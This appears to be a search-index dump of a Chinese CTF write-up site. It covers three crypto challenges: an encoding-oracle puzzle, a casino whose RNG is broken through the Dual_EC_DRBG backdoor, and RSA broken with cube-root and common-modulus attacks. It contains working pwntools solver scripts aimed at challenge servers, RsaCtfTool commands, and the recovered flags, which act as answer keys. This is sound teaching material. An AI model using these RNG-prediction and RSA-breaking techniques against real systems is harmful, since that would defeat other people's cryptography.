9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c0_6_a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 \u968f\u540e\u8bd5\u4e86\u4e00\u4e9b 00 \uff0c\u53d1\u73b0\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e \\(2\\) \u7684\u6d88\u606f\u4e0d\u80fd\u5305\u542b 00 \uff08\u770b\u4e0a\u53bb 0100 \u662f\u4e2a\u4f8b\u5916\uff09 ( 18909 ) Msg: 0000 Must provide message with no NULL bytes ( 00 ) ( 18907 ) Msg: 0001 Must provide message with no NULL bytes ( 00 ) ( 18905 ) Msg: 0100 78c407e05c297ed2de6ebb9f4741be52a234e5519a0e4bd9be2e835dfd41ffbef0db1c87ea62db03f2711b96bb843afa3eadf6730996abbad539dba2cb433a02a877febfe8799e75e9170382c3c13238a4db876a691593e95a28267b3cedfa694f1a211fefa834a4bd41d670b3ad2f1dc8175c9716f136287c1c0c175914762d68069003215bc32fbc9dda8c01fc072eb379ecec40d2138e5f70b0b6e3af62bd1dbc1980227d5cf3475b979e5a19bf8069ad2f407f4e9edd109214bb70a2fcd343a5be3c8e408831a2482d0bf926b5322a521eb6158163419fb79a08802e052026e9bf9a20e2b7a8b5c50b1b36f0a6ea89f037a96a1f80784d2a2af4c7954aa2 ( 18903 ) Msg: 010000 Must provide message with no NULL bytes ( 00 ) ( 18900 ) Msg: 000001 Must provide message with no NULL bytes ( 00 ) ( 18897 ) Msg: 010001 Must provide message with no NULL bytes ( 00 ) \uff08\u7701\u7565\u6253\u8868\u627e\u89c4\u5f8b\u7684\u8fc7\u7a0b\uff09\u901a\u8fc7\u89c2\u5bdf\u53ef\u4ee5\u786e\u5b9a \u76f8\u540c\u957f\u5ea6\u7684\u6d88\u606f\uff0c\u7f16\u7801\u7ed3\u679c\u76f8\u5dee\u7684\u5b57\u8282\u6570\u4e0d\u4f1a\u8d85\u8fc7\u6d88\u606f\u957f\u5ea6 \u5728\u4e00\u6b21\u901a\u4fe1\u4e2d\uff0c\u5bf9\u4e8e\u76f8\u540c\u957f\u5ea6\u7684\u6d88\u606f\uff0c\u660e\u6587\u7684\u6bcf\u4e2a\u4f4d\u7f6e\u4e0e\u7f16\u7801\u7ed3\u679c\u6709\u56fa\u5b9a\u4e14\u552f\u4e00\u7684\u6620\u5c04 \u5bf9\u4e8e\u660e\u6587\u7684\u6bcf\u4e00\u4e2a\u4f4d\u7f6e\u53ef\u4ee5\u5206\u522b\u8003\u8651\u503c\u7684\u9ad8\u516b\u4f4d\u548c\u4f4e\u516b\u4f4d\uff0c\u5176\u7f16\u7801\u7ed3\u679c\u7531\u9ad8\u516b\u4f4d\u4e0e\u4f4e\u516b\u4f4d\u7684\u6620\u5c04\u7ed3\u679c\u7ec4\u5408\u800c\u6210\uff0c\u5982\u660e\u6587 10 \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c 45 \uff0c\u660e\u6587 0a \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c e3 \uff0c\u90a3\u4e48\u53ef\u63a8\u51fa\u660e\u6587 1a \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c 43 \u660e\u6587\u4e0d\u540c\u4f4d\u7f6e\u4e0e\u7f16\u7801\u7ed3\u679c\u503c\u7684\u6620\u5c04\u4e0d\u540c \u56e0\u4e3a\u8fd8\u9650\u5236\u4e86\u53d1\u9001\u6d88\u606f\u5b57\u8282\u7684\u603b\u6570\uff0c\u6240\u4ee5\u4e00\u6b21\u67e5\u8be2\u5e94\u5c3d\u53ef\u80fd\u591a\u83b7\u5f97\u4fe1\u606f from pwn import * from Crypto.Util.number import long_to_bytes def compare ( a , b ): a , b = bytes . fromhex ( a ), bytes . fromhex ( b ) diff = 0 for i , j in zip ( a , b ): if i != j : diff += 1 return diff def index_diff ( a , b ): a , b = bytes . fromhex ( a ), bytes . fromhex ( b ) pos = [] for i in range ( len ( a )): if a [ i ] != b [ i ]: pos . append ( i ) return pos ticket = 'ticket{foxtrot294921delta3:GD1KWFvlJJN0ge3qaEddP9Olmir30Q5z7V67AmZ_e1b8RtSz61E8uIlvDpuCSGS6pw}' conn = connect ( 'black_hole.satellitesabove.me' , 5300 ) conn . sendafter ( 'Ticket please:' , f ' { ticket } \\n ' ) enc = conn . recvline_contains ( 'Encoded msg is: ' ) . decode () . split ( ' ' )[ - 1 ] # \u83b7\u53d6\u7f16\u7801\u6d88\u606f\u7684\u957f\u5ea6 enc_len = 0 for i in range ( 140 , 0x100 ): # \u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u5f85\u6c42\u6d88\u606f\u7684\u957f\u5ea6\u57fa\u672c\u5728 140 \u53ca\u4ee5\u4e0a conn . sendafter ( 'Msg:' , f ' { \"01\" * i } \\n ' ) res = conn . recvline () . decode () . strip () if compare ( enc , res ) <= i : enc_len = i print ( f 'Length: { i } ' ) break # pre: \u6d88\u606f b'\\x01' * enc_len \u7684\u7f16\u7801\u7ed3\u679c\uff0c\u4fbf\u4e8e\u786e\u5b9a\u660e\u6587\u5404\u4e2a\u4f4d\u5728\u7f16\u7801\u7ed3\u679c\u7684\u4f4d\u7f6e # pos_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u4e0e\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u7684\u4f4d\u7f6e\u6620\u5c04 # first_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u9ad8\u516b\u4f4d\u7684\u7f16\u7801\u6620\u5c04\u8868 0x0_ - 0xf_ # second_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u4f4e\u516b\u4f4d\u7684\u7f16\u7801\u6620\u5c04\u8868 0x_0 - 0x_f pre , pos_map , first_map , second_map = res , [ - 1 ] * enc_len , {}, {} for i in [ 0x02 , 0x10 , 0x21 , 0x33 , 0x44 , 0x55 , 0x66 , 0x77 , 0x88 , 0x99 , 0xaa , 0xbb , 0xcc , 0xdd , 0xee , 0xff ]: s = long_to_bytes ( i ) * enc_len conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) res = conn . recvline () . decode () . strip () pd = index_diff ( res , pre ) for j in pd : p = j * 2 if p in first_map : first_map [ p ][ res [ p ]] = ( i & 0xf0 ) // 0x10 else : first_map [ p ] = { res [ p ]: 0 } if p in second_map : second_map [ p ][ res [ p + 1 ]] = i & 0xf else : second_map [ p ] = { res [ p + 1 ]: 2 } # \u83b7\u5f97\u7f16\u7801\u7ed3\u679c\u5404\u4e2a\u4f4d\u7f6e\u4e0e\u660e\u6587\u503c\u7684\u6620\u5c04\u5173\u7cfb\u540e\uff0c\u5c31\u53ef\u4ee5\u6784\u9020\u660e\u6587\u6765\u786e\u5b9a\u4f4d\u7f6e\u7684\u6620\u5c04\u5173\u7cfb for i in range ( 0 , enc_len , 0x10 ): s = bytearray ( b ' \\x01 ' ) * enc_len for j in range ( min ( 0x10 , enc_len - i )): s [ i + j ] = 0x10 + j conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) res = conn . recvline () . decode () . strip () pd = index_diff ( res , pre ) pos , sm = [], [] for j in pd : p = j * 2 pos . append ( p ) sm . append ( second_map [ p ][ res [ p + 1 ]]) for j , k in zip ( sm , pos ): pos_map [ i + j ] = k s = bytearray ( b ' \\x00 ' ) * enc_len for i in range ( enc_len ): s [ i ] = first_map [ pos_map [ i ]][ enc [ pos_map [ i ]]] * 0x10 + second_map [ pos_map [ i ]][ enc [ pos_map [ i ] + 1 ]] conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) conn . interactive () # Satellite-link synced! Flag: flag{foxtrot294921delta3:GEPzPQGVu-6MW0Ly8t6rSDotRhMZUOVCgnp-lcMPJbIiuvNwfH2MeDjkChz6vPvg8Hn6sGWG2i_8XroCUhRsIE4}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/black_hole/#flag","text":"flag{foxtrot294921delta3:GEPzPQGVu-6MW0Ly8t6rSDotRhMZUOVCgnp-lcMPJbIiuvNwfH2MeDjkChz6vPvg8Hn6sGWG2i_8XroCUhRsIE4}","title":"Flag"},{"location":"crypto/casino/","text":"\u9898\u76ee \u00b6 Wanna try your luck in our new casino? To prove we're not cheating, we are publishing our source code. Connect to the server and start gamblin'! 1 nc 46.101.107.117 2212 Note: The service is restarted every hour at x:00. server.sage from random import randint from secrets import flag from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Util.Padding import pad class RNG : def __init__ ( self ): p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b self . curve = EllipticCurve ( GF ( p ), [ - 3 , b ]) self . P = self . curve . lift_x ( 15957832354939571418537618117378383777560216674381177964707415375932803624163 ) self . Q = self . curve . lift_x ( 66579344068745538488594410918533596972988648549966873409328261501470196728491 ) self . state = randint ( 1 , 2 ** 256 ) def next ( self ): r = ( self . state * self . P )[ 0 ] . lift () self . state = ( r * self . P )[ 0 ] . lift () return ( r * self . Q )[ 0 ] . lift () >> 8 class Casino : def __init__ ( self , rng ): self . rng = rng self . balance = 10 def play ( self ): print ( \"Your bet: \" , end = '' ) bet = input () if ( bet in [ \"0\" , \"1\" ]): bet = Integer ( bet ) if ( self . rng . next () % 2 == bet ): self . balance += 1 else : self . balance -= 1 if ( self . balance == 0 ): print ( \"You are broke... play again\" ) exit () print ( f \"Your current balance: { self . balance } \" ) else : print ( \"Invalid bet option, use either 0 or 1\" ) def buy_flag ( self ): if ( self . balance >= 1337 ): key = SHA256 . new ( str ( self . rng . next ()) . encode ( 'ascii' )) . digest () cipher = AES . new ( key , AES . MODE_ECB ) print ( cipher . encrypt ( pad ( flag . encode ( 'ascii' ), 16 )) . hex ()) else : print ( \"No flag for the poor. Gamble more\" ) def main (): rng = RNG () casino = Casino ( rng ) print ( \"Welcome to the Casino\" ) print ( f \"Your id is { rng . next () } \" ) print ( \"What would you like to do?\" ) print ( \"(p)lay and win some money\" ) print ( \"(b)uy the flag\" ) while ( True ): print ( \"> \" , end = '' ) option = input () if ( not option in [ \"b\" , \"p\" ]): print ( \"Unknown option, use 'b' or 'p'\" ) elif ( option == \"b\" ): casino . buy_flag () elif ( option == \"p\" ): casino . play () if __name__ == '__main__' : main () \u89e3\u9898\u601d\u8def \u00b6 \u7b80\u5355\u626b\u4e00\u773c\u4ee3\u7801\uff0c\u53ef\u4ee5\u786e\u5b9a RNG \u91cc\u5b9a\u4e49\u7684\u692d\u5706\u66f2\u7ebf\u53ca\u70b9\u662f\u7279\u6b8a\u7684\u3002\u5728\u4e0d\u8003\u8651\u521d\u59cb\u4f59\u989d\u7684\u60c5\u51b5\u4e0b\uff0c\u9700\u8981\u8fde\u7eed\u731c\u5bf9 \\(1337\\) \u6b21\u624d\u80fd\u62ff\u5230 Flag\uff0c\u56e0\u6b64 next \u7684\u8f93\u51fa\u4e00\u5b9a\u662f\u53ef\u9884\u6d4b\u7684 \u9996\u5148\u60f3\u5230\u770b\u770b\u300c\u70b9\u7684\u9636\u300d\uff0c\u53d1\u73b0 \\(P\\) \u548c \\(Q\\) \u7684\u9636\u90fd\u662f \\(ffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551_{16}\\) \uff0c\u5bf9\u5e94\u4e86\u7279\u6b8a\u7684\u692d\u5706\u66f2\u7ebf NIST P-256 \uff0c\u4f46\u77e5\u9053\u4e86\u662f\u7279\u6b8a\u7684\u692d\u5706\u66f2\u7ebf\u6709\u4ec0\u4e48\u7528\u5462 > < \u4f7f\u7528 NIST P-256 \u8fdb\u4e00\u6b65\u641c\u7d22\u53d1\u73b0\u5b83\u53ef\u4ee5\u7528\u5728 Dual_EC_DRBG \uff0c\u800c Dual_EC_DRBG \u5b58\u5728\u540e\u95e8\uff0c\u77e5\u9053\u5f53\u524d\u72b6\u6001\u7684\u5b8c\u6574\u8f93\u51fa\uff0c\u5c31\u53ef\u4ee5\u63a8\u51fa\u4e0b\u4e00\u72b6\u6001 \\(\u03a6\u03c9\u03a6)/ \u7ed3\u5408 Dual_EC_DRBG \u5206\u6790 Casino \u4f7f\u7528\u7684 RNG \u5b9a\u4e49\u51fd\u6570 \\(X(x,y)=x\\) \uff0c\u63d0\u53d6\u692d\u5706\u66f2\u7ebf\u4e0a\u70b9\u7684 \\(X\\) \u8f74\u5750\u6807 \u72b6\u6001 \\(s\\) \u7684\u8f6c\u79fb\u8fc7\u7a0b\uff1a \\(r_i=X(s_i P),s_{i+1}=X(r_i P)\\) \u7b2c \\(i\\) \u4e2a\u300c\u968f\u673a\u6570\u300d\u4e3a \\(X(r_i Q) \\gg 8\\) \u5b58\u5728\u6574\u6570 \\(e\\) \u4f7f\u5f97 \\(eQ=P\\) \uff0c\u8bbe \\(t=X(r_i Q)\\) \uff0c\u70b9 \\(A\\) \u5728\u692d\u5706\u66f2\u7ebf\u4e0a\u4e14 \\(X(A)=t\\) \uff0c\u7531\u6b64\u5c31\u80fd\u63a8\u51fa\u4e0b\u4e00\u72b6\u6001\u4e86 \ud83e\udd73 \\(X(eA)=X(e\\times r_i Q)=X(r_i P)=s_{i+1}\\) \u63a5\u4e0b\u6765\u601d\u8def\u5c31\u5f88\u6e05\u6670\u5566 XD \u9996\u5148\uff0c\u5c1d\u8bd5\u6c42\u51fa \\(e\\) \uff0c\u518d\u6839\u636e\u521d\u59cb id \u548c\u540e\u7eed\u51e0\u6b21 bet \u786e\u5b9a \\(X(r_i Q)\\) \u672a\u77e5\u7684\u90e8\u5206\uff0c\u6700\u540e\u6512\u94b1 buy_flag \uff01 \u8bf4\u4e0d\u5b9a self.balance >= 1337 \u5176\u5b9e\u662f\u5728\u6697\u793a \\(e\\) \uff0c\u4e0d\u8fc7\u505a\u7684\u65f6\u5019\u6ca1\u6ce8\u610f (\u014f\u03c9\u014f) from sage.all import * from Crypto.Cipher import AES from Crypto.Hash import SHA256 import pwn e = None p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b curve = EllipticCurve ( GF ( p ), [ - 3 , b ]) P = curve . lift_x ( Integer ( 15957832354939571418537618117378383777560216674381177964707415375932803624163 )) Q = curve . lift_x ( Integer ( 66579344068745538488594410918533596972988648549966873409328261501470196728491 )) def get_state ( ts ): ''' Get possible next states from current RNG.next() output ''' state = [] for t in ts : try : A = curve . lift_x ( Integer ( t )) except : # some x-coordinate values don't have the corresponding points on the curve continue state . append (( e * A )[ 0 ] . lift ()) return state def get_next ( state ): ''' Get bet(s) and next state(s) from current state(s) ''' bets , nxt = [], [] for s in state : r = ( s * P )[ 0 ] . lift () nxt . append (( r * P )[ 0 ] . lift ()) bets . append (( r * Q )[ 0 ] . lift ()) return bets , nxt def remove_state ( bets , state , false_bet ): correct = [] for b , s in zip ( bets , state ): if ( b >> 8 ) % 2 != false_bet : correct . append ( s ) return correct if __name__ == '__main__' : for i in range ( 2000 ): if i * Q == P : e = i # 1337 break conn = pwn . remote ( \"46.101.107.117\" , 2212 ) balance = 10 _id = conn . recvline_contains ( 'Your id is' ) . decode () t = int ( _id [ 11 :]) ts = [( t << 8 ) + i for i in range ( 2 ** 8 )] state = get_state ( ts ) while balance < 1337 : conn . sendafter ( '> ' , 'p \\n ' ) bets , state = get_next ( state ) bet = ( bets [ 0 ] >> 8 ) % 2 conn . sendafter ( 'Your bet: ' , str ( bet ) + ' \\n ' ) curr_balance = conn . recvline_contains ( 'balance' ) . decode () curr_balance = int ( curr_balance [ curr_balance . find ( ': ' ) + 2 :]) if len ( bets ) > 1 : if curr_balance < balance : state = remove_state ( bets , state , bet ) else : state = remove_state ( bets , state , 0 if bet else 1 ) balance = curr_balance conn . sendafter ( '> ' , 'b \\n ' ) enc_flag = conn . recvline () . decode () bets , _ = get_next ( state ) key = SHA256 . new ( str ( bets [ 0 ] >> 8 ) . encode ( 'ascii' )) . digest () cipher = AES . new ( key , AES . MODE_ECB ) print ( cipher . decrypt ( bytes . fromhex ( enc_flag ))) # b'he2022{C4S1N0_B4CKD00R_ST0NK5}\\x02\\x02' Flag \u00b6 he2022{C4S1N0_B4CKD00R_ST0NK5} \u53c2\u8003\u8d44\u6599 \u00b6 Dual_EC_DRBG - Wikipedia On the Possibility of a Back Door in the NIST SP800-90 Dual Ec Prng","title":"Casino"},{"location":"crypto/casino/#_1","text":"Wanna try your luck in our new casino? To prove we're not cheating, we are publishing our source code. Connect to the server and start gamblin'! 1 nc 46.101.107.117 2212 Note: The service is restarted every hour at x:00. server.sage from random import randint from secrets import flag from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Util.Padding import pad class RNG : def __init__ ( self ): p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b self . curve = EllipticCurve ( GF ( p ), [ - 3 , b ]) self . P = self . curve . lift_x ( 15957832354939571418537618117378383777560216674381177964707415375932803624163 ) self . Q = self . curve . lift_x ( 66579344068745538488594410918533596972988648549966873409328261501470196728491 ) self . state = randint ( 1 , 2 ** 256 ) def next ( self ): r = ( self . state * self . P )[ 0 ] . lift () self . state = ( r * self . P )[ 0 ] . lift () return ( r * self . Q )[ 0 ] . lift () >> 8 class Casino : def __init__ ( self , rng ): self . rng = rng self . balance = 10 def play ( self ): print ( \"Your bet: \" , end = '' ) bet = input () if ( bet in [ \"0\" , \"1\" ]): bet = Integer ( bet ) if ( self . rng . next () % 2 == bet ): self . balance += 1 else : self . balance -= 1 if ( self . balance == 0 ): print ( \"You are broke... play again\" ) exit () print ( f \"Your current balance: { self . balance } \" ) else : print ( \"Invalid bet option, use either 0 or 1\" ) def buy_flag ( self ): if ( self . balance >= 1337 ): key = SHA256 . new ( str ( self . rng . next ()) . encode ( 'ascii' )) . digest () cipher = AES . new ( key , AES . MODE_ECB ) print ( cipher . encrypt ( pad ( flag . encode ( 'ascii' ), 16 )) . hex ()) else : print ( \"No flag for the poor. Gamble more\" ) def main (): rng = RNG () casino = Casino ( rng ) print ( \"Welcome to the Casino\" ) print ( f \"Your id is { rng . next () } \" ) print ( \"What would you like to do?\" ) print ( \"(p)lay and win some money\" ) print ( \"(b)uy the flag\" ) while ( True ): print ( \"> \" , end = '' ) option = input () if ( not option in [ \"b\" , \"p\" ]): print ( \"Unknown option, use 'b' or 'p'\" ) elif ( option == \"b\" ): casino . buy_flag () elif ( option == \"p\" ): casino . play () if __name__ == '__main__' : main ()","title":"\u9898\u76ee"},{"location":"crypto/casino/#_2","text":"\u7b80\u5355\u626b\u4e00\u773c\u4ee3\u7801\uff0c\u53ef\u4ee5\u786e\u5b9a RNG \u91cc\u5b9a\u4e49\u7684\u692d\u5706\u66f2\u7ebf\u53ca\u70b9\u662f\u7279\u6b8a\u7684\u3002\u5728\u4e0d\u8003\u8651\u521d\u59cb\u4f59\u989d\u7684\u60c5\u51b5\u4e0b\uff0c\u9700\u8981\u8fde\u7eed\u731c\u5bf9 \\(1337\\) \u6b21\u624d\u80fd\u62ff\u5230 Flag\uff0c\u56e0\u6b64 next \u7684\u8f93\u51fa\u4e00\u5b9a\u662f\u53ef\u9884\u6d4b\u7684 \u9996\u5148\u60f3\u5230\u770b\u770b\u300c\u70b9\u7684\u9636\u300d\uff0c\u53d1\u73b0 \\(P\\) \u548c \\(Q\\) \u7684\u9636\u90fd\u662f \\(ffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551_{16}\\) \uff0c\u5bf9\u5e94\u4e86\u7279\u6b8a\u7684\u692d\u5706\u66f2\u7ebf NIST P-256 \uff0c\u4f46\u77e5\u9053\u4e86\u662f\u7279\u6b8a\u7684\u692d\u5706\u66f2\u7ebf\u6709\u4ec0\u4e48\u7528\u5462 > < \u4f7f\u7528 NIST P-256 \u8fdb\u4e00\u6b65\u641c\u7d22\u53d1\u73b0\u5b83\u53ef\u4ee5\u7528\u5728 Dual_EC_DRBG \uff0c\u800c Dual_EC_DRBG \u5b58\u5728\u540e\u95e8\uff0c\u77e5\u9053\u5f53\u524d\u72b6\u6001\u7684\u5b8c\u6574\u8f93\u51fa\uff0c\u5c31\u53ef\u4ee5\u63a8\u51fa\u4e0b\u4e00\u72b6\u6001 \\(\u03a6\u03c9\u03a6)/ \u7ed3\u5408 Dual_EC_DRBG \u5206\u6790 Casino \u4f7f\u7528\u7684 RNG \u5b9a\u4e49\u51fd\u6570 \\(X(x,y)=x\\) \uff0c\u63d0\u53d6\u692d\u5706\u66f2\u7ebf\u4e0a\u70b9\u7684 \\(X\\) \u8f74\u5750\u6807 \u72b6\u6001 \\(s\\) \u7684\u8f6c\u79fb\u8fc7\u7a0b\uff1a \\(r_i=X(s_i P),s_{i+1}=X(r_i P)\\) \u7b2c \\(i\\) \u4e2a\u300c\u968f\u673a\u6570\u300d\u4e3a \\(X(r_i Q) \\gg 8\\) \u5b58\u5728\u6574\u6570 \\(e\\) \u4f7f\u5f97 \\(eQ=P\\) \uff0c\u8bbe \\(t=X(r_i Q)\\) \uff0c\u70b9 \\(A\\) \u5728\u692d\u5706\u66f2\u7ebf\u4e0a\u4e14 \\(X(A)=t\\) \uff0c\u7531\u6b64\u5c31\u80fd\u63a8\u51fa\u4e0b\u4e00\u72b6\u6001\u4e86 \ud83e\udd73 \\(X(eA)=X(e\\times r_i Q)=X(r_i P)=s_{i+1}\\) \u63a5\u4e0b\u6765\u601d\u8def\u5c31\u5f88\u6e05\u6670\u5566 XD \u9996\u5148\uff0c\u5c1d\u8bd5\u6c42\u51fa \\(e\\) \uff0c\u518d\u6839\u636e\u521d\u59cb id \u548c\u540e\u7eed\u51e0\u6b21 bet \u786e\u5b9a \\(X(r_i Q)\\) \u672a\u77e5\u7684\u90e8\u5206\uff0c\u6700\u540e\u6512\u94b1 buy_flag \uff01 \u8bf4\u4e0d\u5b9a self.balance >= 1337 \u5176\u5b9e\u662f\u5728\u6697\u793a \\(e\\) \uff0c\u4e0d\u8fc7\u505a\u7684\u65f6\u5019\u6ca1\u6ce8\u610f (\u014f\u03c9\u014f) from sage.all import * from Crypto.Cipher import AES from Crypto.Hash import SHA256 import pwn e = None p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b curve = EllipticCurve ( GF ( p ), [ - 3 , b ]) P = curve . lift_x ( Integer ( 15957832354939571418537618117378383777560216674381177964707415375932803624163 )) Q = curve . lift_x ( Integer ( 66579344068745538488594410918533596972988648549966873409328261501470196728491 )) def get_state ( ts ): ''' Get possible next states from current RNG.next() output ''' state = [] for t in ts : try : A = curve . lift_x ( Integer ( t )) except : # some x-coordinate values don't have the corresponding points on the curve continue state . append (( e * A )[ 0 ] . lift ()) return state def get_next ( state ): ''' Get bet(s) and next state(s) from current state(s) ''' bets , nxt = [], [] for s in state : r = ( s * P )[ 0 ] . lift () nxt . append (( r * P )[ 0 ] . lift ()) bets . append (( r * Q )[ 0 ] . lift ()) return bets , nxt def remove_state ( bets , state , false_bet ): correct = [] for b , s in zip ( bets , state ): if ( b >> 8 ) % 2 != false_bet : correct . append ( s ) return correct if __name__ == '__main__' : for i in range ( 2000 ): if i * Q == P : e = i # 1337 break conn = pwn . remote ( \"46.101.107.117\" , 2212 ) balance = 10 _id = conn . recvline_contains ( 'Your id is' ) . decode () t = int ( _id [ 11 :]) ts = [( t << 8 ) + i for i in range ( 2 ** 8 )] state = get_state ( ts ) while balance < 1337 : conn . sendafter ( '> ' , 'p \\n ' ) bets , state = get_next ( state ) bet = ( bets [ 0 ] >> 8 ) % 2 conn . sendafter ( 'Your bet: ' , str ( bet ) + ' \\n ' ) curr_balance = conn . recvline_contains ( 'balance' ) . decode () curr_balance = int ( curr_balance [ curr_balance . find ( ': ' ) + 2 :]) if len ( bets ) > 1 : if curr_balance < balance : state = remove_state ( bets , state , bet ) else : state = remove_state ( bets , state , 0 if bet else 1 ) balance = curr_balance conn . sendafter ( '> ' , 'b \\n ' ) enc_flag = conn . recvline () . decode () bets , _ = get_next ( state ) key = SHA256 . new ( str ( bets [ 0 ] >> 8 ) . encode ( 'ascii' )) . digest () cipher = AES . new ( key , AES . MODE_ECB ) print ( cipher . decrypt ( bytes . fromhex ( enc_flag ))) # b'he2022{C4S1N0_B4CKD00R_ST0NK5}\\x02\\x02'","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/casino/#flag","text":"he2022{C4S1N0_B4CKD00R_ST0NK5}","title":"Flag"},{"location":"crypto/casino/#_3","text":"Dual_EC_DRBG - Wikipedia On the Possibility of a Back Door in the NIST SP800-90 Dual Ec Prng","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/ciscn_rsa/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u9898\u76ee\u63d0\u4f9b\u4e86 RSA \u52a0\u5bc6\u90e8\u5206\u4ee3\u7801\u4ee5\u53ca\u8f93\u51fa\uff0c\u660e\u6587\u88ab\u62c6\u6210\u4e86\u4e09\u90e8\u5206\u8fdb\u884c\u52a0\u5bc6 from flag import text , flag import md5 from Crypto.Util.number import long_to_bytes , bytes_to_long , getPrime assert md5 . new ( text ) . hexdigest () == flag [ 6 : - 1 ] msg1 = text [: xx ] msg2 = text [ xx : yy ] msg3 = text [ yy :] msg1 = bytes_to_long ( msg1 ) msg2 = bytes_to_long ( msg2 ) msg3 = bytes_to_long ( msg3 ) p1 = getPrime ( 512 ) q1 = getPrime ( 512 ) N1 = p1 * q1 e1 = 3 print pow ( msg1 , e1 , N1 ) print ( e1 , N1 ) p2 = getPrime ( 512 ) q2 = getPrime ( 512 ) N2 = p2 * q2 e2 = 17 e3 = 65537 print pow ( msg2 , e2 , N2 ) print pow ( msg2 , e3 , N2 ) print ( e2 , N2 ) print ( e3 , N2 ) p3 = getPrime ( 512 ) q3 = getPrime ( 512 ) N3 = p3 * q3 print pow ( msg3 , e3 , N3 ) print ( e3 , N3 ) print p3 >> 200 \u4f4e\u52a0\u5bc6\u6307\u6570\u653b\u51fb \u00b6 \u7b2c\u4e00\u90e8\u5206\u52a0\u5bc6\uff0c \\(e1\\) \u53ea\u6709 \\(3\\) \uff0c\u5c5e\u4e8e\u4f4e\u52a0\u5bc6\u6307\u6570\u653b\u51fb \u76f4\u63a5\u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool Cube-Root \u653b\u51fb $ ./RsaCtfTool.py -e 3 -n 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009 --uncipher 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893 --attack cube_root private argument is not set, the private key will not be displayed, even if recovered. [ * ] Testing key /tmp/tmp_l5kh68w. [ * ] Performing cube_root attack on /tmp/tmp_l5kh68w. Results for /tmp/tmp_l5kh68w: Unciphered data : HEX : 0x200a4f2077696c6420576573742057696e642c2074686f7520627265617468206f6620417574756d INT ( big endian ) : 267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157 INT ( little endian ) : 913291388310064586979227686933669644206016064403638123402129058189456441650304517698024417200672 STR : b ' \\nO wild West Wind, thou breath of Autum' \u5171\u6a21\u653b\u51fb \u00b6 \u7b2c\u4e8c\u90e8\u5206\u4f7f\u7528\u4e86\u76f8\u540c\u7684\u6a21\u6570 \\(n\\) \uff0c\u4e0d\u540c\u7684 \\(e\\) \u5bf9\u540c\u4e00\u6bb5\u6587\u672c\u8fdb\u884c\u52a0\u5bc6 \u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool \u7684\u5171\u6a21\u653b\u51fb\uff08same_n_huge_e\uff09\uff0c e \u4e0e\u5bc6\u6587\u5728\u987a\u5e8f\u4e0a\u9700\u8981\u5bf9\u5e94 $ ./RsaCtfTool.py -e 17 ,65537 -n 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977 --uncipher 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610 ,91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950 --attack same_n_huge_e private argument is not set, the private key will not be displayed, even if recovered. [ * ] Multikey mode using keys: /tmp/tmpdgzqh3f2, /tmp/tmp9fa7r378 [ * ] Performing same_n_huge_e attack. Results for /tmp/tmpdgzqh3f2,/tmp/tmp9fa7r378: Unciphered data : HEX : 